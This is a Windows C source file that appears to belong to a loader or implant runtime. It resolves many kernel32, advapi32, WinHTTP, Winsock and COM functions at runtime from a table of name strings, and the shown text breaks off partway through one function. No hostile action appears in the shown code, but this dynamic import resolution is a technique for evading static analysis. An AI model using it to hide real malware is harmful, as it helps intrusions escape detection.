#include <Windows.h>

#include "Runtime.h"
#include "../common/allocators.h"
#include "../common/debug.h"
#include "../common/md5_2.h"

#include <ntintsafe.h>


#pragma comment( linker, "/subsystem:console" )
#pragma section("loader", read,execute)
#pragma code_seg("loader")

/* start allocators */

/* allocators for dll mode (no runtime) */
VOID* noRuntimeAlloc(LPVOID pRuntime, SIZE_T dwSize)
{
	if (dwSize == 0)
		return NULL;

	VOID *pMem = LocalAlloc(LMEM_ZEROINIT, dwSize);
	return pMem;
}

VOID  noRuntimeFree(LPVOID pRuntime, LPVOID pMem)
{
	if (pMem)
	{
		LocalFree(pMem);
		pMem = NULL;
	}
}

VOID* noRuntimeRealloc(LPVOID pRuntime, VOID* ptr, SIZE_T size)
{
	return LocalReAlloc(ptr, size, LMEM_ZEROINIT);
}

VOID* noRuntimeCalloc(LPVOID pRuntime, SIZE_T nmemb, SIZE_T size)
{
	return calloc(nmemb, size);
}

/* allocators for runtime mode */
/* rSalloc, rSfree can be used only after RuntimeInit has been called  */
LPVOID rSalloc(LPVOID pRuntime, __in size_t dwSize)
{
	if (dwSize == 0)
		return NULL;

	//VOID *pMem = (VOID*) ((PRUNTIME)pRuntime)->pKernel32->fpLocalAlloc(LMEM_ZEROINIT, dwSize);
	VOID *pMem = malloc(dwSize);
	return pMem;
}

VOID rSfree(LPVOID pRuntime, __in LPVOID pMem)
{
	
	if (pMem)
	{
		//((PRUNTIME)pRuntime)->pKernel32->fpLocalFree(pMem);
		free(pMem);
		pMem = NULL;
	}
}

LPVOID rSrealloc(LPVOID pRuntime, VOID* ptr, SIZE_T size)
{
	//return ((PRUNTIME)pRuntime)->pKernel32->fpLocalRealloc(ptr, size, LMEM_ZEROINIT);
	return realloc(ptr, size);
}

LPVOID rScalloc(LPVOID pRuntime, SIZE_T nmemb, SIZE_T size)
{
	SSIZE_T result;
	//RtlSSIZETMult(nmemb, size, &result);

	//RtlUInt64Mult(nmemb, size, &result);
	//VOID *pMem = (VOID*)((PRUNTIME)pRuntime)->pKernel32->fpLocalAlloc(LMEM_ZEROINIT, result);
	//return pMem;

	return calloc(nmemb, size);

}
/* end allocators */



BOOL LoadWinhttp(PRUNTIME pRuntime, PDYNAMIC_LOADER_STRINGS pRuntimeStrings)
{

	HMODULE hWinhttp = pRuntime->pKernel32->fpLoadLibraryA(pRuntimeStrings->strWinhttp);

	if (hWinhttp == NULL)
		return FALSE;

	pRuntime->pWinhttp->fpWinHttpCloseHandle = (WINHTTPCLOSEHANDLE)pRuntime->pKernel32->fpGetProcAddress(hWinhttp, pRuntimeStrings->strWinHttpCloseHandle);
	pRuntime->pWinhttp->fpWinHttpConnect = (WINHTTPCONNECT)pRuntime->pKernel32->fpGetProcAddress(hWinhttp, pRuntimeStrings->strWinHttpConnect);
	pRuntime->pWinhttp->fpWinHttpGetIEProxyConfigForCurrentUser = (WINHTTPGETIEPROXYCONFIGFORCURRENTUSER)pRuntime->pKernel32->fpGetProcAddress(hWinhttp, pRuntimeStrings->strWinHttpGetIEProxyConfigForCurrentUser);
	pRuntime->pWinhttp->fpWinHttpGetProxyForUrl = (WINHTTPGETPROXYFORURL)pRuntime->pKernel32->fpGetProcAddress(hWinhttp, pRuntimeStrings->strWinHttpGetProxyForUrl);
	pRuntime->pWinhttp->fpWinHttpOpen = (WINHTTPOPEN)pRuntime->pKernel32->fpGetProcAddress(hWinhttp, pRuntimeStrings->strWinHttpOpen);
	pRuntime->pWinhttp->fpWinHttpOpenRequest = (WINHTTPOPENREQUEST)pRuntime->pKernel32->fpGetProcAddress(hWinhttp, pRuntimeStrings->strWinHttpOpenRequest);
	pRuntime->pWinhttp->fpWinHttpQueryHeaders = (WINHTTPQUERYHEADERS)pRuntime->pKernel32->fpGetProcAddress(hWinhttp, pRuntimeStrings->strWinHttpQueryHeaders);
	
	/* R */
	pRuntime->pWinhttp->fpWinHttpReadData = (WINHTTPREADDATA)pRuntime->pKernel32->fpGetProcAddress(hWinhttp, pRuntimeStrings->strWinHttpReadData);
	pRuntime->pWinhttp->fpWinHttpReceiveResponse = (WINHTTPRECEIVERESPONSE)pRuntime->pKernel32->fpGetProcAddress(hWinhttp, pRuntimeStrings->strWinHttpReceiveResponse);
	
	/* S */
	pRuntime->pWinhttp->fpWinHttpSendRequest = (WINHTTPSENDREQUEST)pRuntime->pKernel32->fpGetProcAddress(hWinhttp, pRuntimeStrings->strWinHttpSendRequest);
	pRuntime->pWinhttp->fpWinHttpSetOption = (WINHTTPSETOPTION)pRuntime->pKernel32->fpGetProcAddress(hWinhttp, pRuntimeStrings->strWinHttpSetOption);
	pRuntime->pWinhttp->fpWinHttpSetTimeouts = (WINHTTPSETTIMEOUTS)pRuntime->pKernel32->fpGetProcAddress(hWinhttp, pRuntimeStrings->strWinHttpSetTimeouts);


	if (
		!pRuntime->pWinhttp->fpWinHttpCloseHandle ||
		!pRuntime->pWinhttp->fpWinHttpConnect ||
		!pRuntime->pWinhttp->fpWinHttpGetIEProxyConfigForCurrentUser ||
		!pRuntime->pWinhttp->fpWinHttpGetProxyForUrl ||
		!pRuntime->pWinhttp->fpWinHttpOpen ||
		!pRuntime->pWinhttp->fpWinHttpOpenRequest ||
		!pRuntime->pWinhttp->fpWinHttpQueryHeaders ||
		!pRuntime->pWinhttp->fpWinHttpReadData ||
		!pRuntime->pWinhttp->fpWinHttpReceiveResponse ||
		!pRuntime->pWinhttp->fpWinHttpSendRequest ||
		!pRuntime->pWinhttp->fpWinHttpSetOption ||
		!pRuntime->pWinhttp->fpWinHttpSetTimeouts
		)
		return FALSE;

	return TRUE;
}


BOOL LoadMsvcrt(PRUNTIME pRuntime, PDYNAMIC_LOADER_STRINGS pRuntimeStrings)
{
	HMODULE hMsvcrt = pRuntime->pKernel32->fpLoadLibraryA(pRuntimeStrings->strMsvcrt);

	if (hMsvcrt == NULL)
		return FALSE;

	/* B */
	pRuntime->pMsvcrt->fp_beginthreadex = (_BEGINTHREADEX)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->str_beginthreadex);

	/* C */
	pRuntime->pMsvcrt->fp_close = (_CLOSE)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->str_close);

	/* I */
	pRuntime->pMsvcrt->fp_isdigit = (ISDIGIT)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strIsdigit);
	pRuntime->pMsvcrt->fp_isspace = (ISSPACE)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strIsspace);
	pRuntime->pMsvcrt->fp_itoa_s = (_ITOA_S)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->str_itoa_s);
	pRuntime->pMsvcrt->fp_itow_s = (_ITOW_S)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->str_itow_s);


	/* M */
	pRuntime->pMsvcrt->fpmemcmp = (MEMCMP)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strMemcmp);
	pRuntime->pMsvcrt->fp_memcpy = (MEMCPY)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strMemcpy);
	pRuntime->pMsvcrt->fp_memcpy_s = (MEMCPY_S)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strMemcpy_s);
	pRuntime->pMsvcrt->fpmemset = (MEMSET)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strMemset);

	/* O */
	pRuntime->pMsvcrt->fp_open = (_OPEN)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->str_open);

	/* R */
	pRuntime->pMsvcrt->fp_rand = (RAND)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strRand);
	pRuntime->pMsvcrt->fp_read = (READ)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->str_read);

	/* S */
	pRuntime->pMsvcrt->fp__snprintf_s = (_SNPRINTF_S)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->str_snprintf_s);
	pRuntime->pMsvcrt->fp_snprintf = (_SNPRINTF)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->str_snprintf);
	pRuntime->pMsvcrt->fp_srand = (SRAND)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strSrand);
	pRuntime->pMsvcrt->fp_sscanf = (SSCANF)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strSscanf);
	pRuntime->pMsvcrt->fp_sscanf_s = (SSCANF_S)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strSscanf_s);
	pRuntime->pMsvcrt->fp_strcmp = (STRCMP)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strStrcmp);
	pRuntime->pMsvcrt->fp_strdup = (STRDUP)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->str_strdup);
	pRuntime->pMsvcrt->fp_strlen = (STRLEN)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strStrlen);
	pRuntime->pMsvcrt->fp_strrchr = (STRRCHR)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strStrrchr);
	pRuntime->pMsvcrt->fp_strcat_s = (STRCAT_S)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strStrcat_s);
	pRuntime->pMsvcrt->fp_strchr = (STRCHR)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strStrchr);
	pRuntime->pMsvcrt->fp_strncpy_s = (STRNCPY_S)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strStrncpy_s);
	pRuntime->pMsvcrt->fp_strncmp = (STRNCMP)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strStrncmp);
	pRuntime->pMsvcrt->fp_strnicmp = (_STRNICMP)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->str_strnicmp);
	pRuntime->pMsvcrt->fp_strtod = (STRTOD)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strStrtod);
	pRuntime->pMsvcrt->fp_swprintf_s = (SWPRINTF_S)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strSwprintf_s);

	/* T */
	pRuntime->pMsvcrt->fp_time = (TIME)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strTime);

	/* V */
	pRuntime->pMsvcrt->fp_vscprintf = (_VSCPRINTF)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->str_vscprintf);
	pRuntime->pMsvcrt->fp_vsnprintf = (VSNPRINTF)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strVsnprintf);
	pRuntime->pMsvcrt->fp_vsprintf = (VSPRINTF)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strVsprintf);

	/* W */
	pRuntime->pMsvcrt->fpwcscat_s = (WCSCAT_S)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strWcscat_s);
	pRuntime->pMsvcrt->fpwcscpy_s = (WCSCPY_S)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strWcscpy_s);
	pRuntime->pMsvcrt->fpwcslen = (WCSLEN)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strWcslen);
	pRuntime->pMsvcrt->fp_write = (_WRITE)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->str_write);
	pRuntime->pMsvcrt->fp_wtoi = (_WTOI)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->str_wtoi);

	if (
		/* B */
		!pRuntime->pMsvcrt->fp_beginthreadex ||

		/* C */
		!pRuntime->pMsvcrt->fp_close ||

		/* I */
		!pRuntime->pMsvcrt->fp_isdigit ||
		!pRuntime->pMsvcrt->fp_isspace ||
		!pRuntime->pMsvcrt->fp_itoa_s ||
		!pRuntime->pMsvcrt->fp_itow_s ||

		/* M */
		!pRuntime->pMsvcrt->fpmemcmp ||
		!pRuntime->pMsvcrt->fp_memcpy_s || 
		!pRuntime->pMsvcrt->fp_memcpy || 
		!pRuntime->pMsvcrt->fpmemset ||

		/* O */
		!pRuntime->pMsvcrt->fp_open ||

		/* R */
		!pRuntime->pMsvcrt->fp_rand ||
		!pRuntime->pMsvcrt->fp_read ||

		/* S */
		!pRuntime->pMsvcrt->fp__snprintf_s ||
		!pRuntime->pMsvcrt->fp_snprintf ||
		!pRuntime->pMsvcrt->fp_srand  ||
		!pRuntime->pMsvcrt->fp_sscanf ||
		!pRuntime->pMsvcrt->fp_sscanf_s ||
		!pRuntime->pMsvcrt->fp_strcmp ||
		!pRuntime->pMsvcrt->fp_strdup ||
		!pRuntime->pMsvcrt->fp_strlen ||
		!pRuntime->pMsvcrt->fp_strrchr ||
		!pRuntime->pMsvcrt->fp_strcat_s ||
		!pRuntime->pMsvcrt->fp_strchr ||
		!pRuntime->pMsvcrt->fp_strtod ||
		!pRuntime->pMsvcrt->fp_strncmp ||
		!pRuntime->pMsvcrt->fp_strncpy_s ||
		!pRuntime->pMsvcrt->fp_strnicmp ||
		!pRuntime->pMsvcrt->fp_swprintf_s ||

		/* T */
		!pRuntime->pMsvcrt->fp_time ||

		/* V */
		!pRuntime->pMsvcrt->fp_vscprintf ||
		!pRuntime->pMsvcrt->fp_vsprintf || 

		/* W */
		!pRuntime->pMsvcrt->fpwcscat_s ||
		!pRuntime->pMsvcrt->fpwcscpy_s ||
		!pRuntime->pMsvcrt->fpwcslen ||
		!pRuntime->pMsvcrt->fp_write ||
		!pRuntime->pMsvcrt->fp_wtoi 

		)
		return FALSE;

	return TRUE;
}

BOOL LoadKernel32(PRUNTIME pRuntime, PDYNAMIC_LOADER_STRINGS pRuntimeStrings)
{

	HMODULE hKernel32 = pRuntime->pKernel32->fpLoadLibraryA(pRuntimeStrings->strKernel32);

	if (hKernel32 == NULL)
		return FALSE;

	/* C */
	pRuntime->pKernel32->fpCreatePipe = (CREATEPIPE)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strCreatePipe);
	pRuntime->pKernel32->fpCreateFileA = (CREATEFILEA)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strCreateFileA);
	pRuntime->pKernel32->fpCloseHandle = (CLOSEHANDLE)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strCloseHandle);
	pRuntime->pKernel32->fpCreateProcessA = (CREATEPROCESSA)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strCreateProcessA);
	pRuntime->pKernel32->fpCreateThread = (CREATETHREAD)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strCreateThread);

	/* D */
	pRuntime->pKernel32->fpDeleteFile = (DELETEFILE)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strDeleteFileA);

	/* E */
	pRuntime->pKernel32->fpEnterCriticalSection = (ENTERCRITICALSECTION)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strEnterCriticalSection);
	pRuntime->pKernel32->fpExpandEnvironmentStringsA = (EXPANDENVIRONMENTSTRINGSA)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strExpandEnvironmentStringsA);
	pRuntime->pKernel32->fpExitThread = (EXITTHREAD)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strExitThread);

	/* F */
	pRuntime->pKernel32->fpFindClose = (FINDCLOSE)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strFindClose);
	pRuntime->pKernel32->fpFindFirstFileA = (FINDFIRSTFILEA)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strFindFirstFileA);
	pRuntime->pKernel32->fpFindNextFileA = (FINDNEXTFILEA)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strFindNextFileA);
	pRuntime->pKernel32->fpFlushFileBuffers = (FLUSHFILEBUFFERS)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strFlushFileBuffers);
	pRuntime->pKernel32->fpFreeLibrary = (FREELIBRARY)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strFreeLibrary);
	
	/* G */
	pRuntime->pKernel32->fpGetCurrentProcess = (GETCURRENTPROCESS)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strGetCurrentProcess);
	pRuntime->pKernel32->fpGetDriveTypeA = (GETDRIVETYPEA)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strGetDriveTypeA);
	pRuntime->pKernel32->fpGetEnvironmentVariableA = (GETENVIRONMENTVARIABLEA)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strGetEnvironmentVariableA);
	pRuntime->pKernel32->fpGetEnvironmentVariableW = (GETENVIRONMENTVARIABLEW)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strGetEnvironmentVariableW);
	pRuntime->pKernel32->fpGetFileSize = (GETFILESIZE)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strGetFileSize);
	pRuntime->pKernel32->fpGetLastError = (GETLASTERROR)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strGetLastError);
	pRuntime->pKernel32->fpGetProcAddress = (GETPROCADDRESS)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strGetProcAddress);
	pRuntime->pKernel32->fpGetSystemTimeAsFileTime = (GETSYSTEMTIMEASFILETIME)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strGetSystemTimeAsFileTime);
	pRuntime->pKernel32->fpGetTickCount = (GETTICKCOUNT)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strGetTickCount);
	pRuntime->pKernel32->fpGlobalLock = (GLOBALLOCK)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strGlobalLock);
	pRuntime->pKernel32->fpGlobalUnlock = (GLOBALUNLOCK)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strGlobalUnlock);

	/* I */
	pRuntime->pKernel32->fpInitializeCriticalSection = (INITIALIZECRITICALSECTION)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strInitializeCriticalSection);

	/* L */
	pRuntime->pKernel32->fpLeaveCriticalSection = (LEAVECRITICALSECTION)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strLeaveCriticalSection);
	pRuntime->pKernel32->fpLocalAlloc = (LOCALALLOC)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strLocalAlloc);
	pRuntime->pKernel32->fpLocalFree = (LOCALFREE)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strLocalFree);
	pRuntime->pKernel32->fpLocalRealloc = (LOCALREALLOC)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strLocalReAlloc);

	/* O */
	pRuntime->pKernel32->fpOutputDebugStringA = (OUTPUTDEBUGSTRINGA)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strOutputDebugStringA);

	/* R */
	pRuntime->pKernel32->fpReadFile = (READFILE)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strReadFile);

	/* S */
	pRuntime->pKernel32->fpSleep = (SLEEP)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strSleep);

	/* V */
	pRuntime->pKernel32->fpVirtualAlloc = (VIRTUALALLOC)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strVirtualAlloc);
	pRuntime->pKernel32->fpVirtualAllocEx = (VIRTUALALLOCEX)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strVirtualAllocEx);
	pRuntime->pKernel32->fpVirtualFree = (VIRTUALFREE)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strVirtualFree);
	pRuntime->pKernel32->fpVirtualProtect = (VIRTUALPROTECT)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strVirtualProtect);

	/* W */
	pRuntime->pKernel32->fpWaitForSingleObject = (WAITFORSINGLEOBJECT)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strWaitForSingleObject);
	pRuntime->pKernel32->fpWriteFile = (WRITEFILE)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strWriteFile);

	if (
		/* C */
		!pRuntime->pKernel32->fpCloseHandle ||
		!pRuntime->pKernel32->fpCreateFileA ||
		!pRuntime->pKernel32->fpCreatePipe ||
		!pRuntime->pKernel32->fpCreateProcessA ||
		!pRuntime->pKernel32->fpCreateThread ||

		/* D */
		!pRuntime->pKernel32->fpDeleteFile ||

		/* E */
		!pRuntime->pKernel32->fpEnterCriticalSection ||
		!pRuntime->pKernel32->fpExpandEnvironmentStringsA ||
		!pRuntime->pKernel32->fpExitThread ||

		/* F */
		!pRuntime->pKernel32->fpFindClose ||
		!pRuntime->pKernel32->fpFindFirstFileA ||
		!pRuntime->pKernel32->fpFindNextFileA ||
		!pRuntime->pKernel32->fpFlushFileBuffers ||
		!pRuntime->pKernel32->fpFreeLibrary ||

		/* G */
		!pRuntime->pKernel32->fpGetCurrentProcess ||
		!pRuntime->pKernel32->fpGetDriveTypeA ||
		!pRuntime->pKernel32->fpGetFileSize ||
		!pRuntime->pKernel32->fpGetEnvironmentVariableA ||
		!pRuntime->pKernel32->fpGetEnvironmentVariableW ||
		!pRuntime->pKernel32->fpGetLastError ||
		!pRuntime->pKernel32->fpGetProcAddress ||
		!pRuntime->pKernel32->fpGetSystemTimeAsFileTime ||
		!pRuntime->pKernel32->fpGetTickCount ||
		!pRuntime->pKernel32->fpGlobalLock ||
		!pRuntime->pKernel32->fpGlobalUnlock ||

		/* I */
		!pRuntime->pKernel32->fpInitializeCriticalSection ||

		/* L */
		!pRuntime->pKernel32->fpLeaveCriticalSection ||
		!pRuntime->pKernel32->fpLocalAlloc ||
		!pRuntime->pKernel32->fpLocalFree ||
		!pRuntime->pKernel32->fpLocalRealloc ||

		/* O */
		!pRuntime->pKernel32->fpOutputDebugStringA ||

		/* R */
		!pRuntime->pKernel32->fpReadFile ||

		/* S */
		!pRuntime->pKernel32->fpSleep ||

		/* V */
		!pRuntime->pKernel32->fpVirtualAlloc ||
		!pRuntime->pKernel32->fpVirtualAllocEx ||
		!pRuntime->pKernel32->fpVirtualFree ||
		!pRuntime->pKernel32->fpVirtualProtect ||

		/* W */
		!pRuntime->pKernel32->fpWaitForSingleObject ||
		!pRuntime->pKernel32->fpWriteFile

		)
		return FALSE;

	return TRUE;
}


BOOL LoadAdvapi32(PRUNTIME pRuntime, PDYNAMIC_LOADER_STRINGS pRuntimeStrings)
{

	HMODULE hAdvapi32 = pRuntime->pKernel32->fpLoadLibraryA(pRuntimeStrings->strAdvapi32);

	if (hAdvapi32 == NULL)
		return FALSE;

	pRuntime->pAdvapi32->fpConvertSidToStringSidA = (CONVERTSIDTOSTRINGSIDA)pRuntime->pKernel32->fpGetProcAddress(hAdvapi32, pRuntimeStrings->strConvertSidToStringSidA);
	pRuntime->pAdvapi32->fpGetTokenInformation = (GETTOKENINFORMATION)pRuntime->pKernel32->fpGetProcAddress(hAdvapi32, pRuntimeStrings->strGetTokenInformation);
	pRuntime->pAdvapi32->fpOpenProcessToken = (OPENPROCESSTOKEN)pRuntime->pKernel32->fpGetProcAddress(hAdvapi32, pRuntimeStrings->strOpenProcessToken);
	
	/* R */
	pRuntime->pAdvapi32->fpRegCloseKey = (REGCLOSEKEY)pRuntime->pKernel32->fpGetProcAddress(hAdvapi32, pRuntimeStrings->strRegCloseKey);
	pRuntime->pAdvapi32->fpRegCreateKeyExA = (REGCREATEKEYEXA)pRuntime->pKernel32->fpGetProcAddress(hAdvapi32, pRuntimeStrings->strRegCreateKeyExA);
	pRuntime->pAdvapi32->fpRegDeleteKeyA = (REGDELETEKEYA)pRuntime->pKernel32->fpGetProcAddress(hAdvapi32, pRuntimeStrings->strRegDeleteKeyA);
	pRuntime->pAdvapi32->fpRegDisableReflectionKey = (REGDISABLEREFLECTIONKEY)pRuntime->pKernel32->fpGetProcAddress(hAdvapi32, pRuntimeStrings->strRegDisableReflectionKey);
	pRuntime->pAdvapi32->fpRegEnableReflectionKey = (REGENABLEREFLECTIONKEY)pRuntime->pKernel32->fpGetProcAddress(hAdvapi32, pRuntimeStrings->strRegEnableReflectionKey);
	pRuntime->pAdvapi32->fpRegOpenCurrentUser = (REGOPENCURRENTUSER)pRuntime->pKernel32->fpGetProcAddress(hAdvapi32, pRuntimeStrings->strRegOpenCurrentUser);
	pRuntime->pAdvapi32->fpRegOpenKeyExA = (REGOPENKEYEXA)pRuntime->pKernel32->fpGetProcAddress(hAdvapi32, pRuntimeStrings->strRegOpenKeyExA);
	pRuntime->pAdvapi32->fpRegQueryReflectionKey = (REGQUERYREFLECTIONKEY)pRuntime->pKernel32->fpGetProcAddress(hAdvapi32, pRuntimeStrings->strRegQueryReflectionKey);
	pRuntime->pAdvapi32->fpRegSetValueExA = (REGSETVALUEEXA)pRuntime->pKernel32->fpGetProcAddress(hAdvapi32, pRuntimeStrings->strRegSetValueExA);


	if (
		!pRuntime->pAdvapi32->fpConvertSidToStringSidA ||
		!pRuntime->pAdvapi32->fpGetTokenInformation ||
		!pRuntime->pAdvapi32->fpOpenProcessToken ||

		/* R */
		!pRuntime->pAdvapi32->fpRegCloseKey ||
		!pRuntime->pAdvapi32->fpRegCreateKeyExA ||
		!pRuntime->pAdvapi32->fpRegDeleteKeyA ||
		!pRuntime->pAdvapi32->fpRegDisableReflectionKey ||
		!pRuntime->pAdvapi32->fpRegEnableReflectionKey ||
		!pRuntime->pAdvapi32->fpRegOpenCurrentUser ||
		!pRuntime->pAdvapi32->fpRegOpenKeyExA ||
		!pRuntime->pAdvapi32->fpRegQueryReflectionKey ||
		!pRuntime->pAdvapi32->fpRegSetValueExA 
		)
		return FALSE;

	return TRUE;
}


BOOL LoadWs2_32(PRUNTIME pRuntime, PDYNAMIC_LOADER_STRINGS pRuntimeStrings)
{

	HMODULE hWs2_32 = pRuntime->pKernel32->fpLoadLibraryA(pRuntimeStrings->strWs2_32);

	if (hWs2_32 == NULL)
		return FALSE;

	pRuntime->pWs2_32->fpGethostbyname = (GETHOSTBYNAME)pRuntime->pKernel32->fpGetProcAddress(hWs2_32, pRuntimeStrings->strGethostbyname);
	pRuntime->pWs2_32->fpInet_addr = (INET_ADDR)pRuntime->pKernel32->fpGetProcAddress(hWs2_32, pRuntimeStrings->strInet_addr);
	pRuntime->pWs2_32->fpInet_ntoa = (INET_NTOA)pRuntime->pKernel32->fpGetProcAddress(hWs2_32, pRuntimeStrings->strInet_ntoa);
	pRuntime->pWs2_32->fpNtohl = (NTOHL)pRuntime->pKernel32->fpGetProcAddress(hWs2_32, pRuntimeStrings->strNtohl);
	pRuntime->pWs2_32->fpWSACleanup = (WSACLEANUP)pRuntime->pKernel32->fpGetProcAddress(hWs2_32, pRuntimeStrings->strWSACleanup);
	pRuntime->pWs2_32->fpWSAStartup = (WSASTARTUP)pRuntime->pKernel32->fpGetProcAddress(hWs2_32, pRuntimeStrings->strWSAStartup);


	if (
		!pRuntime->pWs2_32->fpGethostbyname ||
		!pRuntime->pWs2_32->fpInet_addr ||
		!pRuntime->pWs2_32->fpInet_ntoa ||
		!pRuntime->pWs2_32->fpNtohl ||
		!pRuntime->pWs2_32->fpWSACleanup ||
		!pRuntime->pWs2_32->fpWSAStartup 
		)
		return FALSE;

	return TRUE;
}

BOOL LoadOle32(PRUNTIME pRuntime, PDYNAMIC_LOADER_STRINGS pRuntimeStrings)
{

	HMODULE hOle32 = pRuntime->pKernel32->fpLoadLibraryA(pRuntimeStrings->strOle32);

	if (hOle32 == NULL)
		return FALSE;

	pRuntime->pOle32->fpCoCreateInstance = (COCREATEINSTANCE)pRuntime->pKernel32->fpGetProcAddress(hOle32, pRuntimeStrings->strCoCreateInstance);
	pRuntime->pOle32->fpCoInitializeEx = (COINITIALIZEEX)pRuntime->pKernel32->fpGetProcAddress(hOle32, pRuntimeStrings->strCoInitializeEx);
	pRuntime->pOle32->fpCoInitializeSecurity = (COINITIALIZESECURITY)pRuntime->pKernel32->fpGetProcAddress(hOle32, pRuntimeStrings->strCoInitializeSecurity);
	pRuntime->pOle32->fpCoSetProxyBlanket = (COSETPROXYBLANKET)pRuntime->pKernel32->fpGetProcAddress(hOle32, pRuntimeStrings->strCoSetProxyBlanket);
	pRuntime->pOle32->fpCoUninitialize = (COUNINITIALIZE)pRuntime->pKernel32->fpGetProcAddress(hOle32, pRuntimeStrings->strCoUninitialize);


	if (
		!pRuntime->pOle32->fpCoCreateInstance ||
		!pRuntime->pOle32->fpCoInitializeEx ||
		!pRuntime->pOle32->fpCoInitializeSecurity ||
		!pRuntime->pOle32->fpCoSetProxyBlanket ||
		!pRuntime->pOle32->fpCoUninitialize 
		)
		return FALSE;

	return TRUE;
}

BOOL LoadOleAut32(PRUNTIME pRuntime, PDYNAMIC_LOADER_STRINGS pRuntimeStrings)
{

